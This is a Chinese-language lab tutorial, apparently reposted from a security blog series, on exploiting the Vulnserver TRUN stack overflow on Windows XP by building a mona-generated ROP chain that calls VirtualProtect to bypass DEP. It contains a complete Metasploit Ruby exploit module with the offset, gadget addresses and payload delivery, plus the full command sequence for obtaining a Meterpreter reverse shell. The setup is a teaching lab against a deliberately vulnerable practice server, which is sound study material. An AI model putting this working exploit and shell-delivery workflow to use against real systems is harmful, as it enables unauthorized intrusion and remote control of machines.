百度360必应搜狗淘宝本站头条
当前位置:网站首页 > 软件资讯 > 正文

五十五,Windows漏洞利用之构建ROP链绕过DEP并获取Shell

dezehang 2024-11-22 13:05 2 浏览

一.DEP保护

数据执行保护(Data Execution Prevention,DEP)是一套软硬件技术,能够在内存上执行额外检查以帮助防止在系统上运行恶意代码。其基本原理是将数据所在内存页标识为不可执行,当程序溢出成功转入Shellcode时,程序会尝试在数据页面上执行指令,此时CPU就会抛出异常,而不是去执行恶意指令。


DEP的主要作用是阻止数据页(如默认的堆页、各种堆栈页以及内存池页)执行代码。微软从Windows XP SP2开始提供这种技术支持,根据实现的机制不同可分为:软件DEP(Software DEP)和硬件DEP(Hardware-enforced DEP)。

软件DEP其实就是SafeSEH,其目的是阻止利用S.E.H的攻击,这种机制与CPU硬件无关,Windows利用软件模拟实现DEP,对操作系统提供一定的保护。SafeSEH会在校验过程中去检查异常处理函数是否位于非可执行页上。

硬件DEP才是真正意义的DEP,硬件DEP需要CPU的支持,AMD和Intel都为此做了设计,AMD称之为No-Execute Page-Protection (NX),Intel称之为Execute Disable Bit (XD) ,两者功能及工作原理在本质上是相同的。


由于Windows XP sp3开启了DEP保护,所以我们要绕过DEP保护才能执行Shellcode,本文采用ROP方式调用VirtualProtect方法绕过DEP。

二.XP系统与Kali网络配置

本实验目的是Kali系统利用Windows XP栈溢出漏洞,以Metasploit溢出bof-server.exe为例,进行攻击及shell反弹。在进行所有实验之前,需要保证虚拟机各系统之间能够相互通信,安装过程详见之前的文章。

第一步,点击“虚拟机”->“设置”。


第二步,将XP和Kali网络连接属性均勾选成“NAT模式”,然后点击确定。


第三步,配置后在kali的shell上用ifconfig命令查看主机IP。

  • Kali:ifconfig 192.168.44.129



同时,主机Win10系统也能够Ping通虚拟机和Kali系统。


三.验证DEP是否开启

bof-server下载地址:Eastmount Github


第一步,在CMD中运行bof-server.exe服务器软件,端口是4242。

bof-server.exe 4242


第二步,为了验证DEP是否开启,我尝试用Python编写1024个A字符串,并发送给XP系统的缓冲区。

python -c "print('A'*1024)"
telnet 192.168.44.130 4242


复制1024个字符并发送,如下图所示:


此时,XP系统显示栈溢出漏洞,并提示相关的报错点Offset地址。



第四步,由于DEP已经被关闭(详见第五十三篇博客),这里需要将其打开。

第一种方法,此时显示关闭的,因为之前简单栈溢出实验我们手动关闭了。右键"我的电脑"->“属性”->“高级”->“性能设置”->“数据执行保存”->选择"为除下列选定程序之外的所有程序和服务启用DEP (U)"->“确定”。从而打开Windows XP系统的DEP保护。


但此时按钮显示灰色,并提示你修改boot.ini文件。


第五步,点击“启动和故障恢复设置”->“编辑”,然后输入对应的字符变量。


我们将“noexecute=AlwaysOff”修改为“noexecute=AlwaysOn”,表示开启DEP堆栈执行保护,接着重启电脑。

[boot loader]
timeout=30
default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS
[operating systems]
multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Microsoft Windows XP Professional" 
/noexecute=AlwaysOn /fastdetect
  • Alwaysoff:关闭DEP
  • AlwaysOn:开启DEP
  • Optin :开启DEP

  • 第六步,我们设置完成之后,重启XP系统并再次打开bof-server.exe服务。Kali系统继续发送字符串。


    此时XP系统报错如下,它是已经被数据执行保护,并且无法看到偏移位置。


    四.开启Vulnserver监听服务

    Vulnserver下载地址:Eastmount Github


    第一步,设置文件共享,并将文件Vulnserver分享至XP系统。



    第二步,以管理员打开命令行CMD,并运行Vulnserver程序。


    在Windows XP系统的命令行中切换到vlunserver.exe所在的目录,执行如下命令,监听端口为6666。

    vlunserver.exe 6666
    



    第三步,此时Kali系统能够与XP服务器进行通讯,通过输入HELP可以查看对应的帮助信息。

    telnet 192.168.44.130 6666
    HELP
    


    五.Immunity Debugger分析Vulnserver进程

    第一步,打开Immunity Debugger软件,依次选择ImmunityDebugger的File->Attach,显示目标机上运行的所有进程。


    第二步,选中“vulnserver”软件并点击按钮Attach,显示该进程相关信息。


    运行如下图所示:


    第三步,此时右下角标记为“Paused”,点击运行Play按钮让其处于“Running”状态。

    接着我们需要使用Immunity Debugger的插件Mona,将Python脚本下载并复制到安装的文件夹下。下载地址:https://github.com/corelan/mona

    第四步,将mona.py复制到XP系统目录。

    C:\Program Files\Immunity Inc\Immunity Debugger\PyCommands



    第五步,选中View->Log菜单,在Immunity Debugger命令行下输入如下“!mona modules”命令启动Mona分析DLL文件。

    !mona modules
    



    第六步,从输出很多DLL文件中找到msvcrt.dll文件,并导出复制至Kali系统。

    • C:\Windows\system32\msvcrt.dll



    六.Kali查找ROP指令片段

    第一步,将XP系统的C:\Windows\system32\msvcrt.dll上传到Kali目录下。注意,作者采用的是百度云网盘在虚拟机、主机之间共享文件,也可以设置共享文件夹。



    第二步,使用工具Metasploit的msfrop进行ROP片段提取。

    msfconsole
    msfrop -v -s "pop cex" /root/msvcrt.dll
    



    注意:该部分内容是帮助大家熟悉ROP片段分析功能,后续其他实验会用到。

    七.获取偏移地址

    这是至关重要的步骤,通过查看vulnserver源代码,发现当发送字符串超过3000时会造成栈溢出,这里通过下面的方式计算偏移量。


    对应的源代码如下,它也是漏洞点。此处采用的方法是Immunity附加进程后,在服务端发送3000个字符计算偏移。

    第一步,重新运行vulnserver服务器。

    vulnserver.exe 6666
    


    第二步,在Kali系统中,通过命令生成3000个字符。

    msf5 > /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 3000
    



    第三步,打开Immunity Debugger软件,并且选中“vulnserver”服务点击“Attach”,监听运行着的服务。注意,点击运行Play按钮让其处于Running状态。


    第四步,通过Kali系统建立远程连接,并调用TRUN指令发送字符串。

    telnet 192.168.44.130 6666
    HELP
    TRUN .Aa0........(复制3000个字符)
    


    第五步,回到XP系统,此时的Immunity Debugger软件处于暂停状态,我们记住EIP值。通过该值来查询对应的Offset。


    EIP:396F4338


    第六步,通过pattern_offset.rb计算偏移量。

    • -q 396F4338 -l 3000
    msf5 > /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 396F4338 -l 3000
    


    记住这个偏移量:2006,它将写入我们的攻击脚本。

    八.创建ROP链

    接着,我们需要构建ROP链来调用VirtualProtect()关闭DEP并执行Shellcode。

    第一步,我们重新在CMD中启动vulnserver服务,调用Immunity Debugger软件并处于监听状态。

    在ImmunityDebugger命令行输入如下命令:

    !mona rop -m *.dll -cp nonull
    


    执行后,需要等待几分钟,会在ImmunityDebugger安装目录下生成一个rop_chains.txt文件。

    • C:\Program Files\Immunity Inc\Immunity Debugger


    第二步,打开rop_chains.txt文件,找到如下代码片段。


    核心代码片段如下,我们需要将其复制到Ruby攻击脚本中。

    *** [ Ruby ] ***
    
      def create_rop_chain()
    
        # rop chain generated with mona.py - www.corelan.be
        rop_gadgets = 
        [
          0x77c10b7f,  # POP ECX # RETN [msvcrt.dll] 
          0x6250609c,  # ptr to &VirtualProtect() [IAT essfunc.dll]
          0x77d5373d,  # MOV EAX,DWORD PTR DS:[ECX] # RETN [USER32.dll] 
          0x7c96d192,  # XCHG EAX,ESI # RETN [ntdll.dll] 
          0x75c87aea,  # POP EBP # RETN [urlmon.dll] 
          0x625011af,  # & jmp esp [essfunc.dll]
          0x7c87f229,  # POP EAX # RETN [kernel32.dll] 
          0xfffffdff,  # Value to negate, will become 0x00000201
          0x719ec15c,  # NEG EAX # RETN [mswsock.dll] 
          0x7c9259c8,  # XCHG EAX,EBX # RETN [ntdll.dll] 
          0x769e8c83,  # POP EAX # RETN [ole32.dll] 
          0xffffffc0,  # Value to negate, will become 0x00000040
          0x77eba3d7,  # NEG EAX # RETN [RPCRT4.dll] 
          0x7c8409d4,  # XCHG EAX,EDX # RETN [kernel32.dll] 
          0x10012c12,  # POP ECX # RETN [USP10.dll] 
          0x71a15fd2,  # &Writable location [WS2HELP.dll]
          0x719e4889,  # POP EDI # RETN [mswsock.dll] 
          0x77e6c786,  # RETN (ROP NOP) [RPCRT4.dll]
          0x76f0c426,  # POP EAX # RETN [DNSAPI.dll] 
          0x90909090,  # nop
          0x60ff9206,  # PUSHAD # RETN [hnetcfg.dll] 
        ].flatten.pack("V*")
    
        return rop_gadgets
    
      end
    
      # Call the ROP chain generator inside the 'exploit' function :
    
      rop_chain = create_rop_chain()
    

    第三步,将这段代码拷贝到Github的Ruby攻击脚本中,用于绕过DEP的Metasploit模块,并渗透反弹Shell。

    rop_attack.rb源代码:

    require 'msf/core'
    class Metasploit3 < Msf::Exploit::Remote
      Rank = NormalRanking
      include Msf::Exploit::Remote::Tcp
    
      def initialize(info = {})
        super(update_info(info,
          'Name'           => 'DEP Bypass Exploit',
          'Description'    => %q{
            		  DEP Bypass Using ROP Chains Example Module
          			  },
          'Platform'       => 'Windows',
          'Author'         => 'yxz',
          'Payload'        =>
            		  {
              		  'space'     => 312,
              		  'BadChars'  => "\x00"
            		  },
          'Targets'        =>
          		  	  [
              		    [
    			    'Windows XP',
    			    {'Offset'  => find it}
    			    ]
            		  ],
          'DisclosureDate' => '2020-02-26'))
      end
    
      def create_rop_chain()
        # rop chain generated with mona.py - www.corelan.be
      end
    
      def exploit
        connect
        rop_chain = create_rop_chain()
        junk = make_nops(target['Offset'])
        buf = "TRUN ." + junk + rop_chain + make_nops(16) + payload.encoded + '\r\n'
        sock.put(buf)
        handler
        disconnect
      end
    end
    
    

    需要修改两个值,offset对应为2006,def create_rop_chain()函数为我们从rop_chains.txt文件中复制来的代码。

    完整代码:

    require 'msf/core'
    class Metasploit3 < Msf::Exploit::Remote
      Rank = NormalRanking
      include Msf::Exploit::Remote::Tcp
    
      def initialize(info = {})
        super(update_info(info,
          'Name'           => 'DEP Bypass Exploit',
          'Description'    => %q{
            		  DEP Bypass Using ROP Chains Example Module
          			  },
          'Platform'       => 'Windows',
          'Author'         => 'yxz',
          'Payload'        =>
            		  {
              		  'space'     => 312,
              		  'BadChars'  => "\x00"
            		  },
          'Targets'        =>
          		  	  [
              		    [
    			    'Windows XP',
    			    {'Offset'  => 2006}
    			    ]
            		  ],
          'DisclosureDate' => '2020-02-26'))
      end
    
      def create_rop_chain()
    
        # rop chain generated with mona.py - www.corelan.be
        rop_gadgets = 
        [
          0x77c10b7f,  # POP ECX # RETN [msvcrt.dll] 
          0x6250609c,  # ptr to &VirtualProtect() [IAT essfunc.dll]
          0x77d5373d,  # MOV EAX,DWORD PTR DS:[ECX] # RETN [USER32.dll] 
          0x7c96d192,  # XCHG EAX,ESI # RETN [ntdll.dll] 
          0x75c87aea,  # POP EBP # RETN [urlmon.dll] 
          0x625011af,  # & jmp esp [essfunc.dll]
          0x7c87f229,  # POP EAX # RETN [kernel32.dll] 
          0xfffffdff,  # Value to negate, will become 0x00000201
          0x719ec15c,  # NEG EAX # RETN [mswsock.dll] 
          0x7c9259c8,  # XCHG EAX,EBX # RETN [ntdll.dll] 
          0x769e8c83,  # POP EAX # RETN [ole32.dll] 
          0xffffffc0,  # Value to negate, will become 0x00000040
          0x77eba3d7,  # NEG EAX # RETN [RPCRT4.dll] 
          0x7c8409d4,  # XCHG EAX,EDX # RETN [kernel32.dll] 
          0x10012c12,  # POP ECX # RETN [USP10.dll] 
          0x71a15fd2,  # &Writable location [WS2HELP.dll]
          0x719e4889,  # POP EDI # RETN [mswsock.dll] 
          0x77e6c786,  # RETN (ROP NOP) [RPCRT4.dll]
          0x76f0c426,  # POP EAX # RETN [DNSAPI.dll] 
          0x90909090,  # nop
          0x60ff9206,  # PUSHAD # RETN [hnetcfg.dll] 
        ].flatten.pack("V*")
    
        return rop_gadgets
    
      end
    
      def exploit
        connect
        rop_chain = create_rop_chain()
        junk = make_nops(target['Offset'])
        buf = "TRUN ." + junk + rop_chain + make_nops(16) + payload.encoded + '\r\n'
        sock.put(buf)
        handler
        disconnect
      end
    end
    

    九.Kali执行Exploit

    第一步,将rop_attack.rb脚本上传到Kali的/usr/share/metasploit-framework/modules/exploits/windows/meterpreter/目录下。

    cp ./rop_attack.rb /usr/share/metasploit-framework/modules/exploits/windows/meterpreter
    cd /usr/share/metasploit-framework/modules/exploits/windows/meterpreter
    ls
    


    第二步,运行攻击脚本并拿到了目标服务器的Meterpreter Shell。

    启动msf控制台

    msfconsole

    运行ruby脚本

    use exploit/windows/meterpreter/rop_attack.rb

    设置目标服务器IP地址(Windows XP系统)

    set RHOST 192.168.44.130

    设置目标服务器端口

    set RPORT 6666

    查看配置信息

    show options


    第三步,调用exploit命令对栈溢出漏洞进行攻击。再输入ls,可以看到我们目标XP服务器的E盘内容已经被提权,这就是所谓的Windows漏洞利用。



    上面“ls”命令对应的内容即为XP系统E盘的文件,如下图所示。


    我们在执行这些操作过程中,XP系统的服务需要一直运行,处于监听状态。某些情况可能会提示错误“Exploit completed, but no session was created”,建议大家在目标机上多运行几次服务和在Kali上多运行几次exploit,直到成功拿到Meterpreter Shell。


    总结:本实验通过构建ROP链成功绕狗DEP保护,最终拿到Shell。

    十.总结

    文章写到这里,就介绍完毕,希望文章对您有所帮助,尤其是文章扩展的几个工具,您下来也可以详细学习。这篇文章主要讲解了如果搭建XP和Kali环境,通过构造ROP链来绕过DEP保护,重点利用VirtualProtect,最终编写漏洞利用脚本并实现自动化攻击反弹Shell。该绕过DEP栈溢出的具体流程包括:

    搭建环境:XP系统安装VulnServer、Kali系统控制台利用

    验证DEP是否开启

    使用Msfconsole进入msf控制台

    计算偏移量Offset,利用mona创建ROP链

    编写Ruby漏洞利用脚本(绕过DEP的Metasploit模块),实现自动化攻击

    通过Metasploit反弹Shell

    虽然是非常基础的一篇文章,但希望读者阅读并完成文章的实验。接下来作者将继续学习并分享更多的Windows漏洞利用或网络安全的文章。最后给出相关的命令。

    Kali系统:

    telnet 192.168.44.130 6666
    msfconsole
    msfrop -v -s "pop cex" ./msvcrt.dll
    /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 3000
    /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 396F4338 -l 3000
    cp ./rop_attack.rb /usr/share/metasploit-framework/modules/exploits/windows/meterpreter
    cd /usr/share/metasploit-framework/modules/exploits/windows/meterpreter
    msfconsole
    use exploit/windows/meterpreter/rop_attack.rb
    set RHOSTS 192.168.44.130
    set RPORT 6666
    show options
    exploit
    ipconfig
    ls
    

    Windows系统:

    vulnserver.exe 6666
    !mona modules
    !mona rop -m *.dll -cp nonull
    

    希望这系列文章对您有所帮助,真的感觉自己技术好菜,要学的知识好多。这是第54篇原创的安全系列文章,从网络安全到系统安全,从木马病毒到后门劫持,从恶意代码到溯源分析,从渗透工具到二进制工具,还有Python安全、顶会论文、黑客比赛和漏洞分享。未知攻焉知防,人生漫漫其路远兮,作为初学者,自己真是爬着前行,感谢很多人的帮助,继续爬着,继续加油!

    相关推荐

    WIN10系统如何安装UG10.0

    随着科技的不断进步与更新,现在有很多公司己经安装上了WIN10的系统以及使用UG10.0了,但很多人反映WIN10系统安装UG10.0不好装,以下详细介绍一下1如果WIN10系统没有自带有JAVA需...

    自学UG编程的心得分享

    为什么有的人3个月学会基本的UG建模画图编程,有的断断续续3——5年才学会,还有的人干了7年的加工中心还不会电脑画图编程。这是什么原因?1.顾虑太多,什么都想得到,什么都想一起抓,总是上班加班没时间,...

    UG/NX 绘制一个捞笊(zhào)模型,或者也可以叫它漏勺?

    今天我们来看看这个模型,起因是群里有小伙伴说要做一个捞笊的模型,看见这名字直接给我整懵了,然后他发了张家里漏勺的图片才知道原来这玩意还有个这种名字。这东西相信每个小伙伴家里都有吧,它的建模方法也比较...

    再也不用为学UG编程发愁了!380集最新UG资料免费送

    上期发的UG教程很多粉丝都领到了,收获越来越多的好评!有你们一直陪伴真的很高兴,谢谢各位粉丝!为了给大家提供更优质的资源,这两个月都在整理你们最关心的UG资源,都是多位编程工厂老师傅的工厂实战精华,真...

    优胜原创UG_3-4-5轴后处理下载

    反复上机调试,安全稳定可靠,请放心使用2020.11.21,修复YSUG4-5轴后处理锁轴输出...

    青华模具学院-UG10.0安装文件说明

    青华模具学院分享:今天我们来跟大家一起学习NX10.0版本的安装方法,网上有很多这个版本的安装视频以及方法图文,但到最终安装软件时仍有很多新手对安装仍然感到头痛,基于这样的情况,我们特别就NX10.0...

    UGnx10安装说明

    温馨提示,安装前,请退出杀毒软件,关闭防火墙,因为这些软件可能阻断NX主程序和许可程序间的通信,导致安装后,软件无法启动。1、解压下载后的压缩包,右键,选择‘’解压到UGNX10_64位正式版(csl...

    正版UG软件,正版UG代理,正版软件和盗版软件的区别

    大家都知道,UG软件是制造业必不可少的一款三维软件,广泛应用于:CAE(有限元分析),CAD(产品设计/模具设计),CAM(计算机辅助制造编程),那么有人不禁要问了,正版软件和盗版软件在使用上有明显区...

    非常全面的UG加工模块中英对照(图标注释)

    大家好,我是粥粥老师,听说很多同学都在学习UG但是没有学习资料和安装包,今天粥粥老师就全部打包好免费发放给你们,那么怎么获取全套资料图档安装包呢领取途径①关注②评论、点赞、转发③私信“UG或者...

    腾讯自研Git客户端 UGit|Git 图形界面客户端

    支持平台:#Windows#macOS腾讯推出的一款Git图形界面客户端,简化了Git的使用流程,特别适合处理大型项目和文件。支持直接提交和推送操作,避免在大规模项目中由于远程频繁变更而导致...

    经典收藏:UG重用库的一些不为人知小技巧

    免费领取UG产品编程、UG多轴UG模具编程、安装包安装教程图档资料关注私信我“领取资料”,即可免费领取完整版,感谢支持,爱你们哟,么么主题:UG后处理+仿真+外挂UG重用库的正确使用方法:首先有...

    UG编程常用指令G、M代码,快收藏好

    今天给大家分享数控编程常用的指令代码,希望对正在学习路上的你带来一丝丝帮助。最好的方法就是转发到自己空间,方便以后学习。对了,如果你还需要其他UG教程学习资料,CNC加工中心的一些参数,以及UG画图,...

    UG NX7.0中文版从入门到精通

    Unigraphics(简称UG)是一套功能强大的CAD/CAE/CAM应用软件,UGNX7是其最新版本。《UGNX7从入门到精通(中文版)》以UGNX7为平台,从工程应用的角度出发,通过基...

    经典UG建模基础练习图纸

    UG是目前工作中比较优秀拥有大量用户的一款机械模具产品行业三维设计软件,cam加工丶软件支持全中文汉化;能够带给用户更为非凡的设计与加工新体验。很多朋友私信小编问有没有UG建模练习图纸,今天给大家分享...

    UG NC软件基础操作,如何设置UG草图精度

    默认情况下我们绘制草图一般只保留一位小数,即使你输入多位小数软件也会自动四舍五入,这个你做一些国标的图还好,国标以毫米为单位,一般保留小数点后一位就够了,但如果你做的图是英制单位,那么保留一位小数肯定...